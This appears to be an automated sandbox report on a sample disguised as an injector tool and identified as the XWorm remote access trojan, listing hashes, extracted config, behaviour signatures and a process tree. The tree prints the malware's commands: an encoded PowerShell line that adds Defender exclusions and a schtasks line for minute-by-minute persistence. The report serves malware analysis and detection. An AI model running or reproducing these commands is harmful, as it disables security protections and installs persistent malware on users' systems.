Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

AlisInjectorx64.exe

windows7-x64

10

AlisInjectorx64.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    01/03/2025, 16:38

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    AlisInjectorx64.exe

  • Size

    540KB

  • MD5

    5d577543e14898862de2fc5f4976af91

  • SHA1

    38569f433469a7b9d04acc52158523ce7b3e6cf3

  • SHA256

    61493f2dac1330b7b853c4af5298dbcfbdef56f4cbd44c2266e0d23ba9d44483

  • SHA512

    223a01dc8c67da3889140a6e77a3a4721c35ba4254c165675053627dc5a558b790fdda286a545b92424a5690b6e0e3df8eacca21da67dea44a490170adacc165

  • SSDEEP

    12288:IepEAmsrIPR7Ifas9YFu7QHzs1vnVRLhjg0BX:I2S4taanVHB

Score
10/10
xwormdefense_evasiondiscoveryrattrojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

cR9KWMfVyMWGAarG

Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

  • pastebin_url

    https://pastebin.com/raw/fSgk0zpE

aes.plain

Signatures

  • Detect Xworm Payload 4 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\AlisInjectorx64.exe
    "C:\Users\Admin\AppData\Local\Temp\AlisInjectorx64.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAYwBhACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHYAagBpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAZABmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAbgBnACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:804
    • C:\Users\Admin\AppData\Local\Temp\msedge.exe
      "C:\Users\Admin\AppData\Local\Temp\msedge.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2456
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2736
    • C:\Users\Admin\AppData\Local\Temp\AlisInjector(x64).exe
      "C:\Users\Admin\AppData\Local\Temp\AlisInjector(x64).exe"
      2⤵
      • Executes dropped EXE
      PID:2424
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {63A9BA4F-B04D-4A31-884E-C90664C26936} S-1-5-21-1488793075-819845221-1497111674-1000:UPNECVIU\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:492
    • C:\Users\Admin\AppData\Roaming\XClient.exe
      C:\Users\Admin\AppData\Roaming\XClient.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2960
    • C:\Users\Admin\AppData\Roaming\XClient.exe
      C:\Users\Admin\AppData\Roaming\XClient.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3064

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\AlisInjector(x64).exe
    Filesize

    373KB

    MD5

    b632f8ffc4243c626a0c5100ac1f2efe

    SHA1

    156143aa36efb7199c7857b042c5eccdeeeea0e2

    SHA256

    7569a0e2198640cacd8936519ed7e7fd27eab4bc3db3a033c04bc95c213bf40a

    SHA512

    69bf752a107f8062b56bcd553614d784b4f04f40758c68dd12e3552c1064954af6552692ddda796034d06082036847329bf3469ede8c33b8b19745ea8d039f18

    Download Submit

  • \Users\Admin\AppData\Local\Temp\msedge.exe
    Filesize

    161KB

    MD5

    71c938b1700643db88bf57abf2df0efb

    SHA1

    2be0624b4a6d813daa0183d9df5dfeaa9f86a32b

    SHA256

    53c8644bcdec5d0acc598497d86737bac723da0489e61a547dfd02eaea56b459

    SHA512

    33c83e2606086a61e75293dd59173f9ffeee4a9806911223289dfdfd9470a568e4f7f743afc7553ed3e3140be0508908b5c54288ff3bf53fb9d0a16ac10d35db

    Download Submit

  • memory/2456-13-0x0000000000110000-0x000000000013E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/2960-23-0x0000000000AE0000-0x0000000000B0E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/3064-26-0x0000000000350000-0x000000000037E000-memory.dmp

    Filesize

    184KB

    Download